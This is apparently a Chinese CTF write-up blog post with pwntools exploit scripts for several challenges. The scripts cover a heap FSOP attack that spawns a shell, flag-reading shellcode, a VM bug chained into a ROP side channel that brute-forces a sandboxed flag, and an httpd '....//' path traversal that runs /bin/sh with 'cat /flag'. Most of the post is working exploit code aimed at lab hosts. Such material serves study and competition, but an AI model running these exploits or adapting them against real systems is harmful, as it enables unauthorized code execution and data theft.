from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
p=remote('192.168.18.22',8888)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc.so.6")
def dbg():
gdb.attach(p,'b *$rebase(0x15E8)')
pause()
menu=b"inputs your choice:"
def add(idx,size,cont):
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(idx))
p.sendlineafter("input size:",str(size))
p.sendafter("input content:",cont)
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("input idx:",str(idx))
def show(idx):
p.sendlineafter(menu,str(3))
p.sendlineafter("input idx:\n",str(idx))
def edit(idx,cont):
p.sendlineafter(menu,str(4))
p.sendlineafter("input idx:\n",str(idx))
p.send(cont)
#
#泄露heapbase
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0))
add(1,0x20,b'a')
delete(0)
# dbg()
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0))
show(0)
heapbase=u64(p.recv(5).ljust(8,b'\x00'))<<12
print(hex(heapbase))
#泄露libcbase
for i in range(8):
add(i,0xa0,b'a')
add(8,0x20,b'a')
for i in range(8):
delete(i)
# dbg()
for i in range(7):
add(i,0xa0,b'a')
add(7,0x60,b'\xe0')
show(7)
# dbg()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0-0x100
print(hex(libcbase))
add(7,0x30,b'a')
add(0,0x20,b'a')
add(1,0x300,b'a')
add(2,0x300,b'a')
add(3,0x20,b'a')
delete(2)
delete(1)
IO_2_1_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
# dbg()
edit(0,b'a'*0x20+p64(0)+p64(0x301)+p64( ((heapbase+0x8c0)>>12)^ IO_2_1_stderr) )
rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x11f2e7
ret=libcbase+0x29139
system_addr=libcbase+libc.sym['system']
payload= b' sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
payload = payload.ljust(0xa0, b'\x00') + p64(heapbase+0x8d0) #_wide_data
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(heapbase+0x8d0)
# dbg()
add(1,0x300,wide_data)
add(2,0x300,payload)
p.sendlineafter(menu,str(1))
p.sendlineafter("input idx:",str(0))
p.sendlineafter("input size:",str(0x500))
p.interactive()
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
p=remote('192.168.18.25',8888)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x161D)')
pause()
# dbg()
#6605c255f81e4a68a946e87ea4e6b14f
p.sendlineafter("3.exit",str(1))
p.sendlineafter("input idx",str(0x31))
shellcode='''
xor edi,edi
mov rdx,0x1000
syscall
'''
p.sendafter("input content",asm(shellcode))
# dbg()
p.sendlineafter("3.exit",str(3))
shellcode=b'\x90'*0x400+asm(shellcraft.open('flag',0)+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100))
p.send(shellcode)
p.interactive()
题目是常见的vm类型,这个函数的功能就是初始化mem,a[0]~a[7]是寄存器,a[8]是栈,a[11]是栈大小,a[12]在后面发现是rsp,a[10]在后面发现是rip
题目在到vmrun之前会有个check函数
看到中间有一部分很难逆向,但是发现了magic_number,看出这是md5
同时这个不是硬爆md5,可以看到与magic比较是用strcmp,同时md5这里会有\x00截断,所以只用看截断之前的东西就可以了
最终的check这样通过
check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'
题目中还有个sandbox,只让使用open,read,brk,close这几个系统调用,所以得考虑侧信道来爆出flag
vmcode逆向内容如下
#reg[idx]/=value
def reg_mulvalue(idx,value):
global pay
pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)
# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
global pay
pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)
# stack[rsp]=value
def pushvalue(value):
global pay
pay += b'\xb4' + b'\x01' + p64(value)
#stack[rsp]=reg[idx]
def pushreg(idx):
global pay
pay+=b'\xb4'+b'\x00'+p8(idx)
#ret
def popreg(rip):
global pay
pay+=b'\xb2'+p8(rip)
#reg[idx]|=value
def reg_orvalue(idx,value):
global pay
pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)
#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
global pay
pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)
def reg_addvalue(idx,value):
global pay
pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)
def reg_addreg(idx1,idx2):
global pay
pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)
def reg_subvalue(idx,value):
global pay
pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)
def reg_subreg(idx1,idx2):
global pay
pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)
def reg_mulvalue(idx,value):
global pay
pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)
def reg_mulreg(idx1,idx2):
global pay
pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)
def reg_xorvalue(idx,value):
global pay
pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)
def reg_xorreg(idx1,idx2):
global pay
pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)
def bitwise_not(idx): #但是没有增加rip???
global pay
pay+=b'\x69'+p8(idx)
#free and malloc
def malloc(size):
global pay
pay+=b'\x14'+p32(size)
#0x13不知道在干嘛
#reg[idx]&=value
def reg_andvalue(idx,value):
global pay
pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)
def reg_andreg(idx1,idx2):
global pay
pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)
#reg[idx]=value
def putvalue2reg(idx,value):
global pay
pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)
#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
global pay
pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)
#reg[idx1]=reg[idx2] idx2没有检查
def swapreg0(idx1,idx2):
global pay
pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)
#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
global pay
pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)
#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
global pay
pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)
可以看到这个vm给的opcode非常全,而且可以发现最后几个指令,有任意地址的读取,和任意地址的写,同时还有个free然后malloc指令
同时发现有个swapreg0指令也即是reg[idx1]=reg[idx2],这里的idx2没有check寄存器的边界,这就造成了越界
根据上述的漏洞分析,那么思路就明确了。
既然有free和malloc,而且一开始的栈对应的堆块是0x510大小,free后直接进入unsorted bin,那么再malloc直接可以申请出被写入了libc的地址,同时利用swapreg0的越界,就可以leak出libc
#得到libcbase
malloc(0x400)
swapreg0(0,14)
reg_subvalue(0,0x1ed010) #reg[0]=libcbase
swapreg0(7,0) #reg[7]=libcbase
因为有沙盒,所以肯定要进行ROP,那么可以利用environ变量泄露出栈地址,然后得到返回地址,最后利用任意地址写来写入ROP
#泄露栈地址,reg[1]=retaddr
reg_addvalue(0,0x1ef600) #reg[0]=&environ
swapreg1(1,0) #reg[1]=stack
reg_subvalue(1,0x000190) #retaddr
有了返回地址后,而且可以任意地址写,就要考虑如何写ROP来进行侧信道了
如果是shellcode的侧信道,那还是比较容易的,网上也有很多模板,但是对于ROP的侧信道,需要有一定的技巧
主要是利用了一些magic_gadget,这里的mg1就是一个cmp比较,这种比较后面必须跟着分支指令,比如je,jne这样才能判断比较是否相等,这里不相等会jne 0x1925c5。这里的指令是sbb eax, eax ; sbb eax, 0FFFFFFFFh,也就是rax会变成一个负的0FFFFFFFFh,后面肯定要接一个read函数来进行阻塞
但是会发现这样的话不管cmp比较是否相等,都会执行read,无法区分,所以有了mg2。mg2指令是mov qword ptr [rax], -1; xor eax, eax; ret;同时还有个gadget是add rax, rdi; ret;如果我们先让rdi为libc的bss段。
如果cmp结果相等,那么rax可能就是一个0x31这种很小的数,mov qword ptr [rax], -1;不会报错。但是如果cmp不相等,那么rax最终是libc_bss-0xFFFFFFFF,这显然是一个非法地址,然后mov qword ptr [rax], -1会直接让程序崩溃,这就满足了我们想要侧信道的要求。
def write_rop(ch,idx):
libc.address=0
mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret;
mg2 = 0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret;
mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret;
pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret;
pop_rax = libc.address + 0x0000000000036174#: pop rax; ret;
pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret;
pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret;
pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret;
bss=libc.address+0x1ED7A0+0x800
#open
write_func(pop_rdx)
write_func(bss)
write_func(pop_rax)
write_other(0x67616c662f2e)
write_func(mov_rdxaddr_rax)
write_func(pop_rdi)
write_func(bss)
write_func(pop_rsi)
write_other(0)
write_func(pop_rdx)
write_other(0)
write_func(pop_rax)
write_other(2)
write_func(0x47656) #syscall ; pop rbp ; ret
write_other(0)
#read
write_func(pop_rdi)
write_other(3)
write_func(pop_rsi)
write_func(bss)
write_func(pop_rdx)
write_other(0x100)
write_func(libc.sym['read'])
#cmp
write_func(pop_rax)
write_other(ch)
write_func(pop_rsi)
write_func(bss+ 1 +idx)
write_func(mg1)
write_func(pop_rdi)
write_func(bss)
#如果cmp指令不等于,则会jne 0x1925c5 -> sbb eax, eax ; sbb eax, 0FFFFFFFFh
#add rax,rdi后rax的值可能为一个非法地址,那么mg2 mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
write_func(add_rax_rdi)
write_func(mg2)
#否则就进入read,read是可以进行阻塞的
write_func(pop_rdi)
write_other(0)
write_func(pop_rsi)
write_func(bss)
write_func(pop_rdx)
write_other(0x100)
write_func(libc.symbols["read"])
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('192.168.18.26',8883)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
# def dbg():
# gdb.attach(p,'b *$rebase(0x33EC)')
# pause()
check=b'LOGIN:root\nadmin:h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT\n'
pay=b''
#reg[idx]/=value
def reg_mulvalue(idx,value):
global pay
pay+=b'\xb8'+b'\x01'+p8(idx)+p64(value)
# reg[idx1]/=reg2[idx2]test
def div(idx1, idx2):
global pay
pay += b'\xb8' + b'\x00' + p8(idx1) + p8(idx2)
# stack[rsp]=value
def pushvalue(value):
global pay
pay += b'\xb4' + b'\x01' + p64(value)
#stack[rsp]=reg[idx]
def pushreg(idx):
global pay
pay+=b'\xb4'+b'\x00'+p8(idx)
#ret
def popreg(rip):
global pay
pay+=b'\xb2'+p8(rip)
#reg[idx]|=value
def reg_orvalue(idx,value):
global pay
pay+=b'\xb0'+b'\x01'+p8(idx)+p64(value)
#reg[idx1]|=reg[idx2]
def reg_orreg(idx1,idx2):
global pay
pay+=b'\xb0'+b'\x00'+p8(idx1)+p8(idx2)
def reg_addvalue(idx,value):
global pay
pay+=b'\x61'+b'\x01'+p8(idx)+p64(value)
def reg_addreg(idx1,idx2):
global pay
pay+=b'\x61'+b'\x00'+p8(idx1)+p8(idx2)
def reg_subvalue(idx,value):
global pay
pay+=b'\x63'+b'\x01'+p8(idx)+p64(value)
def reg_subreg(idx1,idx2):
global pay
pay+=b'\x63'+b'\x00'+p8(idx1)+p8(idx2)
def reg_mulvalue(idx,value):
global pay
pay+=b'\x65'+b'\x01'+p8(idx)+p64(value)
def reg_mulreg(idx1,idx2):
global pay
pay+=b'\x65'+b'\x00'+p8(idx1)+p8(idx2)
def reg_xorvalue(idx,value):
global pay
pay+=b'\x67'+b'\x01'+p8(idx)+p64(value)
def reg_xorreg(idx1,idx2):
global pay
pay+=b'\x67'+b'\x00'+p8(idx1)+p8(idx2)
def bitwise_not(idx): #但是没有增加rip???
global pay
pay+=b'\x69'+p8(idx)
#free and malloc
def malloc(size):
global pay
pay+=b'\x14'+p32(size)
#0x13不知道在干嘛
#reg[idx]&=value
def reg_andvalue(idx,value):
global pay
pay+=b'\x11'+b'\x01'+p8(idx)+p64(value)
def reg_andreg(idx1,idx2):
global pay
pay+=b'\x11'+b'\x00'+p8(idx1)+p8(idx2)
#reg[idx]=value
def putvalue2reg(idx,value):
global pay
pay+=b'\x12'+b'\x01'+p8(idx)+p64(value)
#reg[idx]=*ptr
def putvalue2reg_plus(idx,ptr):
global pay
pay+=b'\x12'+b'\x02'+p8(idx)+p64(ptr)
#reg[idx1]=reg[idx2] idx2没有检查
def swapreg0(idx1,idx2):
global pay
pay+=b'\x12'+b'\x04'+p8(idx1)+p8(idx2)
#reg[idx1]=*reg[idx2]
def swapreg1(idx1,idx2):
global pay
pay+=b'\x12'+b'\x08'+p8(idx1)+p8(idx2)
#*reg[idx1]=reg[idx2]
def swapreg2(idx1,idx2):
global pay
pay+=b'\x12'+b'\x10'+p8(idx1)+p8(idx2)
def write_func(offset):
reg_addvalue(7,offset)
swapreg2(1,7)
reg_subvalue(7,offset)
reg_addvalue(1,8)
def write_other(value):
putvalue2reg(6,value)
swapreg2(1,6)
reg_addvalue(1,8)
def write_rop(ch,idx):
libc.address=0
mg1 = libc.address+0x000000000019244e#: cmp al, byte ptr [rsi - 1]; jne 0x1925c5; xor eax, eax; ret;
mg2 = 0x00000000001142bb#: mov qword ptr [rax], -1; xor eax, eax; ret;
add_rax_rdi = 0x00000000000a8978#: add rax, rdi; ret;
mov_rdxaddr_rax = libc.address + 0x0000000000034550#: mov qword ptr [rdx], rax; ret;
pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret;
pop_rax = libc.address + 0x0000000000036174#: pop rax; ret;
pop_rdi = libc.address + 0x0000000000023b6a#: pop rdi; ret;
pop_rsi = libc.address + 0x000000000002601f#: pop rsi; ret;
pop_rdx = libc.address + 0x0000000000142c92#: pop rdx; ret;
bss=libc.address+0x1ED7A0+0x800
#open
write_func(pop_rdx)
write_func(bss)
write_func(pop_rax)
write_other(0x67616c662f2e)
write_func(mov_rdxaddr_rax)
write_func(pop_rdi)
write_func(bss)
write_func(pop_rsi)
write_other(0)
write_func(pop_rdx)
write_other(0)
write_func(pop_rax)
write_other(2)
write_func(0x47656) #syscall ; pop rbp ; ret
write_other(0)
#read
write_func(pop_rdi)
write_other(3)
write_func(pop_rsi)
write_func(bss)
write_func(pop_rdx)
write_other(0x100)
write_func(libc.sym['read'])
#cmp
write_func(pop_rax)
write_other(ch)
write_func(pop_rsi)
write_func(bss+ 1 +idx)
write_func(mg1)
write_func(pop_rdi)
write_func(bss)
#如果cmp指令不等于,则会jne 0x1925c5 -> sbb eax, eax ; sbb eax, 0FFFFFFFFh
#add rax,rdi后rax的值可能为一个非法地址,那么mg2 mov qword ptr [rax], -1就会让程序崩掉,因为[rax]非法访问内存
write_func(add_rax_rdi)
write_func(mg2)
#否则就进入read,read是可以进行阻塞的
write_func(pop_rdi)
write_other(0)
write_func(pop_rsi)
write_func(bss)
write_func(pop_rdx)
write_other(0x100)
write_func(libc.symbols["read"])
def pwn(ch,idx):
p = process("/home/zp9080/PWN/pwn")
global pay
pay=b''
#得到libcbase
malloc(0x400)
swapreg0(0,14)
reg_subvalue(0,0x1ed010) #reg[0]=libcbase
swapreg0(7,0) #reg[7]=libcbase
#泄露栈地址,reg[1]=retaddr
reg_addvalue(0,0x1ef600) #reg[0]=&environ
swapreg1(1,0) #reg[1]=stack
reg_subvalue(1,0x000190) #retaddr
write_rop(ch,idx)
p.sendlineafter(':',check)
try:
p.sendafter("Man!what can I say?hahaha:", pay.ljust(0x600, b"\x00"))
a = p.recvuntil("abcd",timeout = 0.7)
print(a)
if a == b'':
p.sendline('123')
# p.recvline()
p.close()
return True
return False
except EOFError:
return False
charlist = [
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'{','}'
]
def brute(idx):
global pay
for i in charlist:
if pwn(ord(i), idx):
return i
flag = ''
for i in range(0,66):
pay=b''
ch = brute(i)
if ch == b'\x00'or ch == None:
break
flag += ch
print(flag)
pause()
print(flag)
题目是很常见的httpd文件,出题人只写了GET和POST两种请求。可以看都GET请求带参数(也就是有?),POST请求,或者访问的文件具有用户读权限、组执行权限或其他用户执行权限中的任意一个权限,v2 被设置为 1。此时会进入bbbb函数
而serve_file函数其实就是进行一个文件读然后写到输出中,但是想要直接访问flag文件是不行的,因为看到dockerfile中flag具有用户读权限,所以进不到serve_file函数中去
COPY ./flag/flag /
RUN chown root:root /flag
RUN chmod 744 /flag
pipe 系统调用用于创建一个单向数据通道,通过文件描述符实现进程间通信。pipe 的语法如下:
#include <unistd.h>
int pipe(int pipefd[2]);
参数:pipefd 是一个包含两个整数的数组,pipefd[0] 是读取端,pipefd[1] 是写入端。
向 pipe[1] 写入数据,pipe[0] 就会接收到数据。这是管道在进程间通信中的核心原理。
管道的工作机制:
单向数据流:管道(pipe)创建后会提供两个文件描述符,pipe[0] 和 pipe[1]。
pipe[0] 是读取端。
pipe[1] 是写入端。
数据传递:向 pipe[1] 写入的数据会自动流向 pipe[0],这样读取端的进程就可以获取写入端写入的数据。数据在进程之间传递时不会经过磁盘,而是直接在内存中传输,这样通信速度更快。
dup2 是一个系统调用,用于将一个文件描述符复制到另一个文件描述符。它通常用于重定向标准输入、输出和错误。其定义如下:
#include <unistd.h>
int dup2(int oldfd, int newfd);
oldfd:要复制的文件描述符。newfd:要将 oldfd 复制到的文件描述符。如果 newfd 已经打开,它会首先被关闭,然后指向与 oldfd 相同的文件。
dup2 常用于将标准输入、标准输出或标准错误重定向到一个文件或管道的文件描述符,以便控制输出或输入的来源。例如,将标准输出重定向到一个文件。比如dup2(file_fd, STDOUT_FILENO)
子进程就是根据file去调用execl函数
父进程就是把content通过管道写入到子进程中(注意子进程调用了dup2,把标准输入输出重定向到管道)
同时题目中给了个cgibin.cgi文件,这个bbbb函数应该就是为cgibin.cgi服务的,我认为漏洞可能也在cgibin.cgi这个二进制文件中。但是发现httpd中filename = handle_url(s, "../", byte_501A);中有个漏洞。
看似好像把"../"这个字符串给移除了,但是这里的移除可以绕过。利用"....//"这个形式(也就是双写绕过),题目移除"../"后刚好还剩下"../",仍然可以进行目录穿越
但是注意我们无法通过serve_file直接读flag,因为flag具有读权限。但是我们已经可以目录穿越,同时bbbb函数中可以进行任意文件执行,那么可以直接执行/bin/sh,然后content内容为cat flag\n,那么就可以得到flag
主要是要留意一些小问题:
第一个是content中的cat flag记得要带上\n,因为在httpd中经常以\n作为recv的终止符,不加上可能就一直卡在那里了
第二个是cat flag后需要再次访问页面才看得到flag,不知道是什么原因,这个感觉类似再次访问页面会刷新输出缓冲区一样
data=requests.post(url=b"http://192.168.18.27:8080/....//....//bin/sh", data=b"cat /flag\n\n\n")
15 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!